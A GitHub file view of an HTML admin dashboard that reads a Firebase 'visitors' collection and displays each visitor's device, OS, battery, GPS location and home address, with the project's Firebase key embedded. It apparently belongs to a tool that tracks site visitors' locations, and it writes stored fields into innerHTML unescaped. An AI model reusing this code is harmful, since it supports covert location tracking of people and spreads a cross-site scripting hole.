-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathadmin.html
More file actions
49 lines (43 loc) 路 1.47 KB
/
Copy pathadmin.html
File metadata and controls
49 lines (43 loc) 路 1.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<!DOCTYPE html>
<html>
<head>
<title>Admin Panel</title>
<script type="module">
import { initializeApp } from "https://www.gstatic.com/firebasejs/10.7.1/firebase-app.js";
import { getFirestore, collection, getDocs } from "https://www.gstatic.com/firebasejs/10.7.1/firebase-firestore.js";
const firebaseConfig = {
apiKey: "AIzaSyCsGBSRCHVUhXQZ5DNMEZWgQWk1gxMF1E4",
authDomain: "signup-d32c5.firebaseapp.com",
projectId: "signup-d32c5",
storageBucket: "signup-d32c5.firebasestorage.app",
messagingSenderId: "583812949955",
appId: "1:583812949955:web:fab1bb7be94bc1b4ab3f76",
measurementId: "G-VLC3QHK8CG"
};
const app = initializeApp(firebaseConfig);
const db = getFirestore(app);
async function loadData() {
const q = await getDocs(collection(db, "visitors"));
q.forEach(docSnap => {
let d = docSnap.data();
document.getElementById("log").innerHTML += `
<div style="margin:6px;padding:8px;border:1px solid #ccc;border-radius:6px">
馃摫 <b>Device:</b> ${d.device}<br>
馃實 <b>OS:</b> ${d.os}<br>
馃攲 <b>Battery:</b> ${d.battery} (Charging: ${d.charging})<br>
馃搷 <b>GPS:</b> ${d.location}<br>
馃彔 <b>Address:</b> ${d.address}<br>
鈴憋笍 <b>Time:</b> ${d.time?.toDate ? d.time.toDate() : d.time}<br>
馃晵 Last Update: ${d.lastUpdate || "N/A"}
</div>
`;
});
}
window.onload = loadData;
</script>
</head>
<body style="font-family:Arial;">
<h2>馃敟 Admin Dashboard</h2>
<div id="log"></div>
</body>
</html>